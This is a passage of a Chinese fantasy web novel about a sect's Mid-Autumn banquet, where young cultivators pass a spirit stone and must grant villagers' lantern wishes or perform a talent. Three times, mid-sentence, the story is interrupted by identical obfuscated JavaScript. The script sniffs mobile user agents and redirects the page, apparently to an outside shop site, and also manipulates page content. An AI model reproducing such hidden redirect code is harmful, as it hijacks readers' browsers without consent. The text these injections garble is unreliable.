在听完燕修远那宛如继任宗主成功后那般冗长的演讲后,公仪岭感觉酒杯里的桂花酒都逐渐凉了下去,心里将“提醒燕蓉下次把演讲稿再截短一点”这件事情提上了日程。 公仪岭将杯中酒一饮而尽,刚想坐下,就听燕修远再度开口:“今年中秋夜宴,在弟子们的商议下,将往年的观赏节目稍微改了改规则,给大家添些乐趣!” 公仪岭眨了眨眼,又坐直了身子。 要说中秋节最盛大、最必不可少的观赏节目,那就是年年最盛大的放河灯了。不知从何时起,坊间开始流传,只要百姓在中秋佳节之时,取一个木盘,将一盏桂花酒置于写了愿望的河灯旁边,放入江河之中,就能让仙人实现自己的心愿。 而他们修仙之人,除了民间发生妖邪祸乱外,都是极少出山的,寻常百姓自是难以见得,只能从他人口中略知一二他们是如何神通广大、无所不能。如此一来,每年中秋,在河边放河灯许愿的人不计其数。 当然,公仪岭清楚的知道,百姓们放的每一盏河灯,都能顺着江河飘到他们宴会的地方,让他们每个人看到。 只不过愿望太多,大家都只会选择部分要紧的去做。 正想着,就听下面有人问了:“燕宗主,不知是什么样的游戏规则?” “是啊是啊,燕宗主快说吧,别卖关子了!”不少人起哄道。 燕修远似是十分满意大家的反应,摸着脸上的胡茬,随手从袖中取出了一块紫灵玉,高声说道:“规则很简单,鼓声开始后,每个人轮流传递这块紫灵玉,直到鼓声停止,谁手上拿着这块紫灵玉,就要选一盏写了他们宗门的名字的河灯,实现里面的一个愿望。” 这规则不难,无非就是击鼓传花换了个形式,不过那后面一条,倒是让公仪岭觉得十分有意思。 他以前小时候也曾想过偷偷摸摸看一两个愿望,看能不能帮人实现了,只不过在父母和善的劝阻下没能成功。对他们来说,能不插手百姓的寻常事情,就不会插手,更不用说帮人实现愿望了。 下面人问道:“这百姓们的愿望大多千奇百怪,若是抽到想要一只宠物,或是想见一个人,倒也好办,就怕那人想要金银千万,妻妾成群,这该如何是好?” 说完就有人给他出主意道:“那还不简单!要是抽到这种不切实际的愿望,就换下一个呗!” 主席上的燕修远点了点头,算是认可了:“不错,虽然这次是破例,但大家还是视情况量力而行。当然,如果遇到想要伤及无辜的愿望,也直接忽略过去就好。” 比起这些,公仪岭还是更担心另一个问题:“那……如果抽到的愿望合理,但是自己又办不到,又该如何呢?” 燕修远对此早有准备,答道:“如果实在是爱莫能助,或者自己本身不愿相助的,那就随意为大家展示一段才艺就好。” 公仪岚垂眸沉思了片刻,认真想了想自己有什么才艺,叫他高歌一曲显然不行,除了琴棋书画这些人人都会的才艺以外,公仪岭倒是还能舞个剑什么的,应该勉强能够糊弄过去。 反正总不能当着大家的面表演一钩三条鱼,不然的话,等回了云灵山以后,爹娘怕不是又该将他吊起来打了。 他甩了甩头,将这些乱七八糟的想法丢在脑后,爽快道:“我觉得表演才艺这个主意甚好!” 燕修远环视一周,见大家都没什么意见了,于是当即拍板:“既然大家都没什么意见了,那规则就依照这样先定下来了。等再过一刻钟,到了戌时后,河灯就会沿着面前这条河流飘上来,届时,再开始游戏。” 紫阳宗的弟子们给足了气氛,在下面应声捧场:“好!” “那现在这段时间,大家就先享受佳肴吧!” 终于讲完了。 公仪岭默默想着,坐回了自己的位置,眼巴巴开始等着仙侍们将主菜呈上来。 他方才随意尝了两口前菜,就知道这一次紫阳宗在中秋夜宴的菜品上没少下功夫,至少与前几年他去其他宗门里吃的相比,好吃多了。 仙侍传菜的动作极快,没一会儿就将一盘肉呈到了公仪岭面前。公仪岭仔细瞧了瞧里面做的东西,看起来像剔骨鸡的样子,不过比他印象里更加精致可口一些,就问道:“这道菜叫什么名字?” 仙侍笑道:“此菜名唤八仙盘,取了八种不同的飞禽走兽烹制而成,味道鲜嫩,公子不妨一试。” “好说,好说。” 公仪岭提箸就吃,那肉刚送进嘴里,立刻就征服了他的味觉,当即称赞:“的确不错。” 仙侍一笑,将他的白玉酒杯满上,说道:“公子慢用。” 公仪岭飞速消灭了呈上来的三道主菜后,忽而听到耳边不知道是谁远远喊了一句:“快看,有河灯飘过来了!” 他们坐得位置靠前,那些河灯又都是从河流另一边飘过来的,一开始没有几个人注意到,那人一喊话,顿时就引得上座的几家人都望了过去。 东西虽然好吃,但是热闹还是要看的。公仪岭也放下了箸,抬头朝着喊话那人的地方看过去。 不过,在乌泱泱的一群人里面,是谁喊话的大家都没找出来,所有人的目光全都被远处那一盏顺着水流飘摇而来的河灯吸引了注意力。 各城百姓大多都信仰靠近自己家乡那边的宗门,故而河灯的颜色也是不尽相同的。一开始仙家数量少的时候,倒也没有相近的颜色,所以大家都用对应宗门颜色的河灯,来向他们许愿。而现在各家数量到如今这样的规模,难免会出现差不多颜色的情况,所以百姓们也就常常会在附带的字条里写上宗门的名字,以便于区别。 这第一盏河灯上来,所有人都很好奇这是哪家的灯。只不过水流潺潺,它飘得很慢,公仪岭耐心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429929|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等那河灯飘得近了些,刚看清了灯的颜色,就有人喊道:“哎呦,是紫色的呢!” 如此一来,是哪一家的就十分明显了。 燕修远也看到了那一盏灯的颜色,顿时放下心来,眉飞色舞道:“诸位,紫气东来,可是好兆头呢!” 公仪岭十分理解,燕修远能如此开怀也属正常,毕竟在自家的地盘,要是第一盏河灯飘上来是其他宗门的颜色,多给自己掉面子啊。 这一盏河灯飘过来后,后面又陆陆续续出现了不少颜色五花八门的灯,眼看着数量渐渐多了起来,燕修远就将桌案上的紫灵石拿起,朗声道:“诸位,现在游戏开始。” 话音刚落,身后鼓声顿起。公仪岭这才注意到,不知道什么时候,燕煦泽已经去了那摆放着一个大鼓的地方,还带着几个师弟敲锣伴奏,乒乒乓乓一顿敲打,气氛一下子就热闹了起来。 燕蓉站在旁边,又在本子上写了什么。公仪岭对她道:“没看出来,你家大师兄还有这一手呢?这鼓敲得挺有水平。” 燕蓉笑道:“大师兄一向全能。” 紫灵石第一个传给的就是紫阳宗的少宗主燕渊,他有条不紊地接过灵石,只犹豫了片刻,就将手里的石头递给了离得最近的燕蓉。 场上这么多人,那鼓声一时半刻肯定不会停,燕蓉也不着急,慢悠悠地扫了一眼齐元白与公仪岭两人,眼中似是看热闹一般,不过这神情落在公仪岭,显然是在憋什么坏。 公仪岭忙道:“好燕蓉,你们家的人还没传遍呢,可别打我俩的主意。” 齐元白头点的跟鸡啄米似的,无比赞同:“先给别人!先给别人!” 燕蓉微笑不语,她本意只是吓了他们俩一下,并没有真想给他们,于是就将石头顺手放到了旁边师弟的手上。 不过,一开始大家还十分讲究顺序地一个个传,直到身后的鼓点开始急促起来,似乎在提醒大家即将要停下,场上众仙友一心急,哪里还顾得上什么顺序位次,逮住一个人把石头往人手里塞,嘴里还叫着:“别给我!别给我!” “干吗!我俩没仇吧?怎么又往我这边递?” “谁让你离得最近!” “给他!给他!他还没接过呢!” 这种时候,平日里关系好的也开始互相给对方挖坑,关系不好的也是铆足了劲想往对方身上递。一片欢声笑语中还夹杂着女仙们的几声惊呼,到最后谁还顾得上礼仪风度,有的人还把紫灵石朝着仙河朝对岸的人丢去。 一片乱战中,公仪岭只庆幸大家得亏都是修仙之人,不说身手天下无敌吧,但是互相之间接个石头还是百发百中的,没有出现什么石头落在地上啪嗒一声摔成两半的事故,不然的话,指不定还得赔多少钱呢! 闹哄哄的一圈下来,鼓声终于戛然而止,众人忙不迭四下搜寻着紫灵石被谁给接住了,无奈人实在是太多了,根本找不过来,只能扯着嗓子喊道:“哪位仙僚接到了紫灵石,还请上前来吧?” 众人等了一会儿,这才见不远处六弦阁的席位上站起来一人,轻声说道:“是我接到了。” 62. 河灯载桂酒 明月照人愿(四) 公仪岭心中想过无数接到的人选,却独独没想到接到紫灵石的居然是纪银灵。 女子银钗白裙,清清冷冷地立在人群之中,如远在天边的那轮明月般只可远观。大家显然对纪银灵的印象只有乐考出众那一项,其余时间她都跟透明人没什么区别,自然也都不甚熟络了。一时间场上也没人接话,有些尴尬起来。 公仪岭原以为六弦阁的人会出来说两句,不过也不知道是不是因为怕抢了紫阳宗风头的原因,六弦阁宗主也没有说话,静静地坐在那边,等着后续发展。 好友一场,公仪岭也不能就这么坐视不理,于是咳了一声,露了笑容道:“不知纪姑娘是打算实现河灯上的愿望,还是表演个才艺呢?” 没等纪银灵回答,燕修远先开口说道:“公仪兄,你家孩子怕是弄错规则了,应该先行让纪姑娘看看他们宗门的河灯愿望再决定。” 公仪拓替公仪岭开脱道:“阿岭怕是忘了,不妨事。” 公仪岭连忙接上:“对对对,一时心急给忘了,那就让纪姑娘先看看自家宗门的河灯吧。” 中间那道仙河里这时候已经先后飘过来了不少颜色的河灯,代表六弦阁的河灯原先应当是白色的,只不过大家都一致觉得白色的灯不大吉利,于是就在上面添了浅蓝色的漆,久而久之,六弦阁的河灯就变成浅蓝色的了。 “那我就随便取一盏了。” 纪银灵走到河边,随手拿起一只里面放着蓝色花灯的竹盘,展开了桂花酒下面压着的花笺,上面写了寥寥几个字的愿望:“希望今年乡试能榜上有名。” 众人看着纪银灵为难不已的表情,纷纷起哄道:“什么愿望啊?纪姑娘?” “快说快说!是什么样的愿望?能不能帮他们实现啊?” 公仪岭见她凝眉沉思不语,连忙悄悄喊道:“纪姑娘,要是实在不行,就不勉强了吧,大不了你还能抚琴一曲应付过去。” 纪银灵难得叹了口气,无奈道:“实在不是我不愿意配合大家,只是这个愿望我恐怕难以实现呢……” 说完,她就将花笺上面写着的内容念给众人听。 公仪岭一听,也就知道为什么纪银灵无奈了。这花笺显然是一个书生写的,乡试这个东西,毕竟也只能靠自己努力才行,总不能为了给他实现愿望,去帮人家改考卷吧? 纪银灵无奈过后,又道:“既然如此,那我还是表演才艺吧,让大家见笑了。” 众人都听说过她乐考一举夺魁的光辉事迹,所以顿时来了兴趣,给她加油鼓劲道:“纪姑娘,来一曲呗!” “是啊!让我们也洗洗耳朵!” “我要听你最拿手的曲子!” 公仪岭见他们并不抗拒看纪银灵表演才艺,放下了心,也对她鼓了鼓掌。 纪银灵翻手拿出自己的琴,对燕修远平静道:“燕宗主,不知我在何处演奏呢?” 桌案上还放着餐食,不便她将琴放在桌子上。燕修远微一沉思,抬手施法,在仙河两岸架起了一座木桥,又在木桥上置了一张桌案与坐席,才说道:“纪姑娘,请吧。” “多谢燕宗主了。” 纪银灵上了桥,将手中的琴搁在了桌案上。 公仪岭从前从没注意过她的法器,原因十分朴素,那就是乐考的时候都规定大家只能拿最普通的乐器,不允许私自携带法器,故而每次两人见面的时候,公仪岭只瞧见她用着一把普通古琴弹曲。 而现在细细打量才发现,纪银灵的琴通体狭长雪白,只有琴头部分有些许蓝色的梅花纹,还坠了蓝白相间的绢花琴穗加以装饰,与她清雅的气质如出一辙,相辅相成。 公仪岭指了指她的琴,转头去问齐元白:“她可有说过自己的法器叫什么名字?” 齐元白想了想,终于从记忆的角落寻到了那名字,回答他道:“听她说过一次,应该是叫踏雪叱灵琴。” “哦,那这名字还真挺适合的呢。” 纪银灵只停了一瞬,就已经想好了弹什么曲子。她的指尖触上琴弦,优美的乐声从琴身流淌而出。 公仪岚只听了半段,就已经听了出来,笑道:“这一曲《春江花月夜》,当真是应景。” 齐元白也点头赞道:“确实,想来此情此景,也没有别的曲子更符合了。” 下面那些同龄的仙僚都知晓纪银灵是何等水平,听到美妙的琴声倒没有表现得太惊讶。反倒是那些比他们稍微年长一些的仙僚们表情一个比一个吃惊,他们原先不过是抱着找人取乐的想法起哄,哪里会想到桥上这位看起来弱柳扶风的白衣女子,琴技竟然这样高超。 立刻有好事者凑到六弦阁跟其他弟子们咬耳朵:“想不到,你们六弦阁出了个不得了的人物啊。” 那些弟子们都没接话,纷纷看向自家的少宗主纪景明。 从一群人围过去的时候,公仪岭就一直留意着六弦阁那边的动静,结果他等了半晌也没听见纪景明回话。 他正琢磨着要不要搭个话,耳边就传来清脆地“啪”的一声,闻声望去,却见纪景明手中的白玉酒杯在他桌上碎成了几瓣。 什么?怎么回事?!那可是白玉做的酒杯啊!!! 公仪岭心都在滴血,都不用他问,光看看都知道这酒杯价值不菲,说是艺术品都不为过。 旁边围观的人也被这个变故惊到了,还未来得及反应,纪景明旁边的一个师弟连忙问道:“景明兄,你没事吧?” 纪景明摊开被碎渣扎得鲜血直流的手掌,缓缓摇头道:“没事,也许是这个酒杯脆了些。” 闻言,公仪岭在心里暗暗嘲讽,这么明显是故意的行为,说是不小心,谁信? 他心里是这么想的,嘴上也就这么说了,眉尾一挑,就朗声笑道:“哦,那这白玉酒杯还真是脆了呢,许是我平日里懈怠没有修炼,才会捏不碎吧?” 公仪岚轻轻搁下酒杯,也应和了一声:“那可未必见得,我瞧我这每日勤加修炼,倒也没捏碎呢。” 两人这么一唱一和,说得纪景明面色青白,咬牙说了一句:“凡事都有例外,碰巧我手上这一只,怕是品质不太好呢。” 他说的这句话,完全没考虑过这些白玉酒杯都是紫阳宗准备的这件事,自然也就没注意到紫阳宗弟子们微微皱眉的表情。 “景明不准胡说!” 他爹纪怀风,也就是六弦阁宗主终于忍不住开口呵斥了他一声。 “父亲,我———嘶……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429930|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 旁边师弟手忙脚乱就帮他收拾起碎渣,又简单替他止了血。 纪银灵勾起琴弦的指尖停在半空,弹到一半的曲子就此中断,远处不明就里的人听了一半,都免不了觉得遗憾。 如此动静,全然落在了坐在正席上的燕修远眼中。 纪怀风起身对燕修远拱手道:“燕宗主,景和年幼,口无遮拦,多有冒犯之处,还请你谅解。” 燕修远摆手道:“无妨,今日团圆之夜,不要伤了和气才好。” 他站起身来,眼神示意仙侍去换一个新杯子来,又问纪怀风宗主道:“纪宗主,令郎可有大碍?” 纪怀风瞥了一眼自家儿子,镇定道:“不过区区小伤,无碍。此事景明失仪在先,扫了大家雅兴了。” “人没事就好。” 燕修远应了一声,刚想出声让桥上的纪银灵继续弹,却见纪银灵缓慢站起了身,将自己的琴从桌案上拿起,略带歉意地向燕修远鞠了一躬。 “实在抱歉,燕宗主,少宗主既受了伤,我也理应过去照拂一二,等日后有机会,再奏完此曲吧。” 她这么说了,多半也是纪怀风的意思了,燕修远顿了顿,说道:“也好,那你就先下去吧。我们大家继续下一轮。” 等到纪银灵下场,仙侍将紫灵石递到了她的手上,说道:“纪姑娘,还请将紫灵石交给下一个仙僚。” 纪银灵接了石头,隔着仙河,随手朝公仪岭那方向一丢。 公仪岭人还没回过神来,手比脑子还快,抬手把紫灵石当作是暗器给截了下来。 身后鼓声再起,鼓点快而急促,一下子唤回了公仪岭的灵识,立马把石头塞到了公仪岚怀里。 如此接连传了几人,方才的小插曲很快就被人遗忘,氛围又变得热闹了起来。 此后,燕煦泽敲的鼓声就没有第一次那么长了,紫灵石接连被几个小宗门的人接到。好在他们那些河灯上写的愿望很好实现,那几人接下了愿望,喝了上贡的桂花酒后,当即就被抱元门的人传到了下界,临行前大家还不忘叮嘱道:“送完东西就快点回来啊,可别耽误了吃饭!” 鼓声还在继续,游戏也还在继续。 这一次,战况就比较焦灼了。 按照燕修远的意思,是全凭燕煦泽想什么时候停就什么时候停止。而燕煦泽似乎也玩心大起,这一次击鼓的时间就变长了很多。 公仪岭与大部分宗门弟子关系都还不错,大家也都知道他是个好脾气的人,于是把紫灵石往他身上丢的次数要比旁人多得多。 他摸清楚了这一点以后,也不敢大意了,手忙脚乱就去挡石头,有的时候,那紫灵石还飞在半空中的时候,就已经被他一巴掌呼走,变道传给了别人。 只不过,他这边速度越快,也就越没时间去细看到底传给谁了,左不过余光一瞥瞧见某边有个人影,也顾不得人家能不能接的到,就击打了过去。 结果这一次,却出现了一个小小意外。 公仪岭只模糊瞧见这方向是青花谷的人,手一扬就把石头拍了过去。那边一男一女反应倒是同步,一左一右伸出了手,齐齐将这紫灵石接了下来。 而鼓声,也正好在这时候结束。 63.河灯载桂酒 明月照人愿(五) 对面那两位两只手都搭在石头上,正面面相觑。公仪则是终于等到了鼓声结束,想放松一下去看是哪个倒霉蛋,眼睛瞥过去才发现这一倒霉还直接倒霉了两个人。 公仪岭轻呼了一声,继而支吾道:“哎哟,这我还真不是故意的……” 毕竟他要是手慢点,这会儿就轮到他去挑河灯了。帮人实现愿望他倒是没什么意见,只怕万一那愿望实现不了,自己还不知道能表演什么才艺呢。 孟妙意听到他说的话,脸上神色未变,只扫了他一眼,没有出言责问他。 他们兄妹两人刚刚还在讨论着今天晚上哪道菜比较符合自家灵蛇的口味,余光就敏锐的捕捉到了飞驰过来的紫灵石。兄妹两人不愧是师出同门,就连接暗器的手法都十分一致,互相想帮对方接下来这石头,这才造成了这样的局面。 “嗯……是孟正初和孟妙意这两兄妹啊?这要怎么算?” 不止齐元白发出了疑问,其他仙友也是如此发问的:“这……燕宗主,不知现在这个情况,规则里可有说明啊?” 燕修远也是犯了难,毕竟大家都避之不及,谁能想到这两兄妹一起接了下来。 孟长歌抿了一口桌上的酒水,对兄妹两人投去了一个眼神,继而淡笑道:“他们兄妹俩感情深,想必大家也能理解。” 燕修远道:“无妨,都是小事。不过你们两人打算谁来取河灯呢?” 孟正初微微一怔,随即道:“既然如此,也不好特意为我们修改规则,不如我们两个人都取了河灯的愿望瞧一瞧吧。 孟妙意也没什么意见,笑道:“能够被百姓们信仰,在佳节向我们许愿,自是应该回应他们的愿望。” 燕修远道:“孟姑娘小小年纪能有如此心怀,极好。” 两人一起离席,走到了河边,一人选了一盏青绿色的河灯,展开了上面的花笺。 “是什么内容?”公仪岭忙问。 孟正初先开口道:“这上面写着:中秋节想吃很多很多的月饼。” 公仪岭喜道:“这个愿望倒是好办。”心里默默祈祷着万一要是轮到自己了的话,一定要抽到一个差不多的。 孟正初接了花笺,喝下桂花酒,转头问妹妹:“妙意,你那张花笺上写了什么?” 孟妙意展开了手中的花笺:“看着字迹,应该是个稚儿所写,说唯愿家人身体安康,平安顺遂。” 孟正初低眉沉思,帮她分析道:“这前半句倒还有办法,就是辛苦你得给他们全家诊个脉了,只是这后半句……是有点难办。” 孟妙意略微一想,就对燕修远说道:“燕宗主,按规则来说,应当是将愿望完全实现,才能够作数。如今这愿望的后半段我一时间恐难以办到,不如这样,我先行表演才艺,等到表演完,再随我兄长一道下去,替他们实现前面的愿望,您看如何?” 其他人见她说的话言之有理,又落落大方,丝毫没有因为一半不作数而耍赖什么的,心中不由也都对她赞了一声,认同了她这两全其美的办法:“燕宗主,我看孟姑娘这个主意甚好!” “不错,不错!我看就这么办吧!” 燕修远也点了点头,问她:“那孟姑娘,想要表演什么才艺呢?” 孟妙意见他答应,也将杯中的桂花酒饮尽,笑靥如花:“不久前,我饲养的灵蛇新学会了一只舞蹈,想邀大家共赏。” 民间有艺人能够吹奏乐曲引蛇与之共舞,这件事情公仪岭下山游历的时候曾有幸一观,当时就大感惊奇。后来听说青花谷以蛇为纹,谷中仙僚大多饲养蛇蝎等毒物作为灵宠的时候,公仪岭也旁敲侧击打探过他们会不会这一手艺。 只可惜,青花谷饲养灵蛇,大多是为了实战中运用,没人往娱乐方面发展过,公仪岭也只好作罢。 现在听说孟妙意养的蛇竟然也会作舞,他好奇心顿起,立马探了头想要细看。 仙河上的桥够高够大,上面纪银灵弹奏用过的桌案也被燕修远撤了下来,上面宽阔的桥面完全足够孟妙意自由发挥。 其他仙僚们也是第一次见青花谷的人舞蛇,一个个都是止不住的好奇与兴奋,迫不及待地等着孟妙意上台。 孟妙意丝毫没有怯场,从怀中取出一只蛇骨哨。 公仪岭见这蛇骨哨看起来如玉一般剔透,好看得紧,就在心里默默盘算着下次有机会的话,问问孟妙意能不能给自己也做个骨哨——他一吹就能让鱼群聚过来的那种。 公仪岚只一眼就看出来他心里在想什么,无奈提醒他:“我看,你往池子里下一筐饵料,怕是比哨子的效果好不少。” “哦,那倒也是。” 他知道青花谷的人御蛇不需要借助什么东西,如此来看,这个蛇骨哨大约是孟妙意专门用来控制它作舞的了。 果不其然,公仪岭下一秒就看见她手中掐了个仙诀,往自己手臂上轻轻拂过,她那青绿色的蛇纹刺青就从光洁无瑕的小臂上消失了,取而代之的则是盘绕在她手上的一条青色小蛇。 公仪岭这还是第一次见她召唤灵蛇的过程,觉得很是神奇,拿着酒杯就换了个舒服点的姿势等她上桥。 不知何时,她的左腿脚踝上悬了一个银质的铃铛镯子,少女的小腿匀称笔直,轻盈地越过汉白玉地砖,银铃声伴随着她足尖的起落清脆作响,直到她在仙桥上站定,对众人行了一礼,扬唇笑道:“各位仙僚,献丑了。” 公仪拓忍不住对孟长歌羡慕道:“你家姑娘养的可真不错,若是我跟熙华膝下能有一女就好了。” 孟长歌问他:“听说你们家阿岭出生的时候,沈夫人受了不少苦?” “可不是?在他娘肚子里折腾了不少时辰才出来,小时候性子也闹腾。所幸他也就是在云灵山里闹一闹,没丢脸丢到外面去。” 沈熙华笑道:“等阿岭再大些,也就懂事了。” 孟长歌对公仪拓轻笑道:“你就羡慕吧。不过,妙意算是她两个哥哥一手带大的,就连她身上带的每一件银饰,也都是她大哥亲手给她打的。有翰言和正初在,我也好少操点心。” 公仪岭支着头听他们长辈闲聊,没听两句,桥上就吹响了短促而嘹亮的哨音。他回过神,见孟妙意手腕上缠绕着的青蛇从她指尖探出头来,对着孟妙意吐了吐信子,还蹭了蹭她的脸。 看到这里,公仪岭只觉得自己手上起满了鸡皮疙瘩,无法想象这种光溜溜滑腻腻的爬行动物依附到自己手上的话,自己会不会直接被吓死。 好在,灵蛇与孟妙意的互动也仅此而已,虽然青蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13444792|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来还是很依依不舍的样子,但还是不得不听从孟妙意的指示,缓慢地从她手上爬了下去,跟随着哨声,在桥面上扭动起了自己的蛇身。 而孟妙意,一边用骨哨吹着无名调子,一边则是与灵蛇一块作起了舞。 她轻哼着小曲儿,青绿色的裙摆随着动作翩然飞起,一步一响的银饰是为她起舞准备的最好伴奏,举手投足间都透着灵动轻盈的娇俏之感。 原先一直在司永丰夫妇身旁坐着,表现得很沉默寡言的司月吟,忽然翻手化出自己乐考时候用的阮琴,轻轻拨动了上面的琴弦。 “这是……孟姑娘哼的曲子?” 齐元白迟疑地说道,打眼去看公仪岭他们俩。 公仪岭十分确定:“就是这首。” 公仪岚则道:“孟姑娘哼的曲子我从前从未听过,怕是他们青花谷的曲子吧?不知道月吟是如何知晓的。” 公仪岭略微一想,猜道:“我看是仙考的时候,她哼给司姑娘听过吧?” 桥上孟妙意也听到了悠扬的琴音,手上动作只微微一凝,转而就跟上了乐声,广袖扬起,踏着碎步旋转起舞,衣袂飘飘如风,转身屈身向地上的青蛇伸手,后者立刻兴奋得嘶嘶吐着信子爬回了她的手臂,在她的腕上扭着身子起舞。 一曲毕,琴声渐停,桥上一人一蛇鞠躬算是谢幕。燕修远带头鼓起了掌,赞叹道:“舞得不错,我看跟我们家燕婉相比也是难分高下。” 孟妙意谦逊道:“燕婉姐姐舞姿一绝,我如何能够与她相提并论,燕宗主谬赞了。” 几个小宗门的宗主闻言立即说道:“燕婉姑娘十六岁那年赴宴抱元门的中秋宴,也是一舞惊艳四座,只是许多宗门后辈无缘一观,当真是可惜。不知道今日,能否有机会再有幸得见燕婉姑娘作舞一曲?” 此言一出,就连紫阳宗里的弟子都坐不住了。 他们的大师姐在修行这方面其实远不如旁人,但是像其他弹琴跳舞什么的,说是精通也不为过。紫阳宗就有一处台子是宗主特意建起来,给燕婉习舞的,所以他们偶尔路过也能看上几眼。 只不过大师姐的精力都放在了照看弟弟身上,这几年就连他们也很少见到她跳舞了。 燕煦泽看师弟师妹们一个个都想看又不敢说的样子,自然而然就帮他们说出口了:“师父,今天如此热闹,这么好的机会,不妨就让我们一睹师姐当年的风采吧。” “好好好。” 燕修远面上难掩得意,朗声笑了几声,就对身旁燕婉笑道:“婉婉,既然大家都这么说了,那你就去自己房中换一身舞衣,再回来作舞一曲吧。” 燕婉垂眸,应声道:“好的,爹。”说罢就起身回去了。 燕修远目送完女儿离开,高声说道:“我们先继续,等燕婉回来,再看也不迟。” 孟妙意在座位上将紫灵石转交给了大哥,对等待许久的二哥说道:“二哥,我们先下去将他们的心愿完成吧。” “好。” 孟正初答得干脆,那花笺上写的月饼们也都已经准备好,被他提在手上,另一只手则牵着妹妹步入了传送阵中。 他们一边离开,而另一边,紫灵石在鼓声中连着转了好几圈,终于还是不负众望地停在了公仪岭手里。 64.河灯载桂酒 明月照人愿(六) 没办法,这并非是他大意没将石头丢回去,而是大家眉来眼去几番对暗号,总算让公仪岚在最后关头把紫灵石递给了公仪岭。 他右边伸过来大哥的那只手,稳稳地端着一个菜盘子,公仪岭还以为是大哥给他递了盘菜过来,看都没看就接了过来,等到摆到桌上,才发现那个空盘子上装的是什么东西。 众人心道:“终于接到了!” 公仪岭心如死灰:“终于接到了……” 在看见盘子上的紫灵石后,他脑子里已经思考了好几种才艺了,虽然能想到的似乎都挺上不得台面就是了…… “咳咳。” 燕修远笑眯眯问公仪拓:“不知道你们家阿岭,会抽中什么愿望呢?” 公仪拓淡定道:“云灵城百姓安居乐业,生活俭朴,也许是让阿岭给他们多修点路方便上山呢。” 公仪岭小声说道:“其实,帮他们出海的时候多捕点鱼也行。” 刚说完,一名仙侍便走到了他的面前,对他行礼道:“公仪公子,请。” 场上这么多双眼睛看着,公仪岭心里难免有些局促,不得不放下了箸,起身来到仙河旁边,俯身下去取了一盏红色的河灯。 翻出压在桂花酒下的花笺一看,公仪岭就在心中哀嚎了一声。 果然,像什么“想吃很多月饼”这样的愿望,他根本就抽不到啊! “是什么?是什么是什么?”齐元白早就迫不及待开问了,其他几个年轻仙僚也是眼巴巴地望着,等待着答案。 公仪岭无奈将花笺上的愿望念了出来:“愿来年我能够发大财,坐拥黄金万两。” “哦~” 齐元白意味深长看了他一眼,他当然知道公仪岭眼下别说是黄金万两了,就算是黄金十两他也拿不出来,于是果断道:“说吧阿岭,你打算表演什么才艺?” 公仪岭现在唯一能拿出的出手的东西,还是上次在狐妖阿音的洞穴里摸来的金酒杯,只不过这跟愿望里要求的还是相差甚远,只好放弃道:“行吧行吧,我就表演个才艺吧。” 众人纷纷问他什么才艺,公仪岭硬着头皮随意敷衍了两句糊弄了过去。一旁仙侍见他左右为难的模样,十分贴心地问道:“公子,可有什么需要帮忙准备的吗?” 公仪岭正在纠结着选哪个才艺,低头琢磨间突然看见了面前的白玉酒杯,脑中灵光一闪,顿时有了个不错的主意。 只不过这个主意,对他来说貌似有些危险就是了。 公仪岭擦了擦汗,将自己需要的东西说了,末了还补充道:“千万别告诉我爹娘啊。” 仙侍虽然诧异,不过还是了然说道:“明白了,请稍候片刻。” 公仪岭与仙侍说话的时候刻意压低了声音,就算是离他最近的人也没有听见他说了什么。下面的人只见到仙侍被他支走,马上追问道:“到底是什么才艺啊?公仪岭你就别藏着掖着了!” 公仪岭嘴上打着哈哈,心道:“倒也不是我估计吊人胃口,怕只怕当众这么做会被爹娘提着剑清理门户了,权且搏一搏,大不了等下在爹娘上来之前快点逃了就是。” 如此打算完,他的心才稍稍安定了些,走到仙桥上面对燕修远说道:“燕宗主,我需要一张桌案。” 燕修远点头,施法将原先的那个桌案变了回去。 仙侍很快就带来了他所需的东西,一个个放到了桌案上,回话道:“公子,这些是您需要的东西。” 公仪岭道了一声“多谢”后,就听见下面传来几声疑惑:“这东西怎么这么眼熟?” “不会吧?不是那个吧?” 而有的眼尖的后辈已经是认出来了,在底下感慨万千:“不愧是公仪岭师兄……听说云灵山的家训因为他才加了那么多条,这一出下来,他回云灵山以后估计得被揍得皮开肉绽。” 公仪岭听他们说的话,坐如针毡。只是箭在弦上,已经不得不发。 他刻意回避了父母灼灼的目光,努力镇定地对翘首以待的仙僚们说:“仙友们,下面由我来给大家助个兴。” 话说完,别说下面仙僚们震惊,连齐元白的下巴都快掉地上了。他好不容易收回了下颚,转头就结结巴巴问公仪岚道:“怎怎怎么回事?阿岭他还会这个?” 公仪岚抬头望天:“啊……这个……他确实是会的,还玩得挺厉害的呢,只不过云灵山里面禁赌,爹娘不让。再加上这也不是什么好东西,他也就没在外面展示过这个。” 